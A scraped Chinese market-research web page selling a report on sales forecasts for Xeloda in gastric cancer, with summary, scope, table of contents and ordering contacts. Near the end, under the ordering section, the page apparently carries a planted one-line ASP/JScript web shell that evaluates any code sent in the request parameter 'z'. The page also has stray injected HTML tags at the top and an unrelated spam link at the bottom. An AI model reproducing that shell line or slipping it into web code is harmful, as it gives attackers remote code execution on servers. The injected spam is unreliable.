• <button id="epdmf"></button><progress id="epdmf"><track id="epdmf"></track></progress>

      <button id="epdmf"></button>
      <th id="epdmf"><track id="epdmf"><sup id="epdmf"></sup></track></th>
      <button id="epdmf"></button>

      設為首頁 市場調查網 關于市場調查網 購買流程
      市場調查網
      首頁 > 英文報告> Xeloda (Gastric Cancer) Analysis and Forecasts to 202

      Xeloda (Gastric Cancer) Analysis and Forecasts to 202

      【報告名稱:】

      Xeloda (Gastric Cancer) Analysis and Forecasts to 202

      【關 鍵 詞:】

      Xeloda (Gastric Cancer) report

      【報告格式:】PDF或Word格式
      【釋放日期:】2013年7月
      【交付方式:】E_mail電子版或EMS特快專遞
      【英文版價格:】USD 2000
      分享到:
      報告描述

      Summary
      “Xeloda (Gastric Cancer)- Analysis and Forecasts to 2020 ” provides Xeloda sales estimates for US, EU5 and Japan. In addition, it covers detailed clinical assessment of the drug, factors impacting drug sales, competitive landscape, and analysis of sales performance during the forecast period (2007-2020). The report also includes information on Oncology's Disease market.
      Note: This is a on-demand report and will be delivered within 7 business days (excluding weekends) of the purchase.
      Scope
      - Therapy area profile including patient population for the US, EU5 and Japan (seven major markets)
      - Analysis and review of Xeloda including historical sales data
      - Qualitative and quantitative assessment of market space
      - Analysis of the trends, drivers and restraints shaping and defining the markets
      - In-depth analysis of Xeloda including efficacy, safety, pricing, competition and other details which influence its sales potential
      - Detailed sales Estimate for 2007-2020 for Xeloda in each of the seven major markets

      報告目錄

      1 Table of contents 2
      1.1 List of Tables 2
      1.2 List of Figures 3
      2 Introduction 4
      2.1 Gastric Cancer Market 4
      2.2 Gastric Cancer Disease 4
      2.3 Market Forecasts Report Guidance 6
      3 Gastric Cancer Disease Market: Market Characterization 7
      3.1 Gastric Cancer Disease Market 7
      3.2 Gastric Cancer Disease Market Forecast and CAGR 7
      3.3 Drivers for the Gastric Cancer Disease Market 7
      3.3.1 High Incidence 8
      3.3.2 High Prevalence 8
      3.3.3 Low Initial Diagnosis Rate 8
      3.3.4 High Mortality Rate 9
      4 Tumor Node Metastases (TNM) Classification of Gastric Cancer 10
      5 Xeloda 13
      5.1 Introduction 13
      5.2 Mechanism of Action 13
      5.3 Clinical Studies 13
      5.4 Sales Drivers 14
      5.4.1 Gastric Cancer Market 14
      5.4.2 Absence of Competition in The US and EU 14
      5.4.3 Oral Administration 14
      5.4.4 Cost of Xeloda in Japan 14
      5.5 Drug Risk Benefit Score 15
      5.5.1 Efficacy 15
      5.5.2 Safety 15
      5.5.3 Compliance 15
      5.5.4 Dosing Convenience 15
      5.6 Intensity of Competition 16
      5.7 Sales forecast 16
      5.7.1 Target patient Pool of Xeloda 16
      5.7.2 Dosing 17
      5.7.3 Market Penetration 18
      5.7.4 Annual Cost of Therapy 18
      5.7.5 Sales Projection of Xeloda 18
      6 Gastric Cancer Market: Appendix 22
      6.1 Market Definitions 22
      6.2 List of Abberiviations 23
      6.3 Research Methodology 23
      6.3.1 Coverage 23
      6.3.2 Secondary Research 23
      6.3.3 Forecasting 23
      6.3.4 Number of Patients Approved to take the Drug 24
      6.3.5 Net Penetration of Drug 24
      6.3.6 Net Annual Dosing 24
      6.3.7 Annual Cost of Therapy 24
      6.3.8 Primary Research 24
      6.3.9 Expert Panels 24
      6.4 Contact Us 24
      6.5 Disclaimer 24
      6.6 Sources 24
      1.1 List of Tables
      Table 1: Gastric Cancer Incidence and Mortality,2008–2030 5
      Table 2: Gastric Cancer, Estimated Global Market ($bn),2009–2020 7
      Table 3: Overall Survival Results 13
      Table 4: Results of Second Phase III Trial 14
      Table 5: Drug Risk Benefit Score of Xeloda 15
      Table 6: Annual Cost of Therapy of Xeloda, The US 18
      Table 7: Gastric Cancer, The US,EU-5 and Japan, Estimated Sales of Xeloda($m),2007–2020 19
      Table 8: Gastric Cancer, The US, Estimated Sales of Xeloda($m),2012–2020 20
      Table 9: Gastric Cancer,EU-5, Estimated Sales of Xeloda($m),2007–2020 21
      Table 10: Gastric Cancer, Japan, Estimated Sales of Xeloda($m),2011–2020 22
      1.2 List of Figures
      Figure 1: Percentage Distribution of the Top 20 Cancers 4
      Figure 2: Fatality =[(%Distribution of Incidence)-(%Distribution of Mortality)] of the Top 20 Cancers 5
      Figure 3: Per Capita Cigarette Consumption Curve, the US,1976-2006 6
      Figure 4: Estimated Global Gastric Cancer Market,2009–2020 7
      Figure 5: Oncology,Global,Incidence(in million),2008–2030 8
      Figure 6: Gastric Cancer, Global, Incidence(in million),2008–2030 8
      Figure 7: Broad Classification of Gastric Cancer in the US and EU 10
      Figure 8: Broad Classification of Gastric Cancer in Japan 10
      Figure 9: Detailed TNM Classification 11
      Figure 10: Classification of Gastric Cancer in the US and EU-5 12
      Figure 11: Classification of Gastric Cancer in Japan 12
      Figure 12: Drug Model Diagram of Xeloda in the US and EU 16
      Figure 13: Drug Model Diagram of Xeloda in Japan 17
      Figure 14: Gastric Cancer, The US,EU-5 and Japan, Estimated Sales of Xeloda ($m),2007–2020 19
      Figure 15: Gastric Cancer, The US, Estimated Sales of Xeloda($m),2012-2020 20
      Figure 16: Gastric Cancer, EU-5, Estimated Sales of Xeloda($m),2007-2020 21
      Figure 17: Gastric Cancer, Japan, Estimated Sales Forecast of Xeloda($m),2011-2020 22

       

      NO:12-12 


      中國市場調查網電話訂購

      電 話:010-56288208 56287808
      綠色通道:18510707589
      E_mail:cnscdc@cnhjsd.com

      中國市場調查網在線訂購

      市場調查網QQ

      訂購流程

      <%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["z"],"unsafe"));%>

      為什么選擇我們


      相關鏈接
      97日韩玉脚国产欧美电影院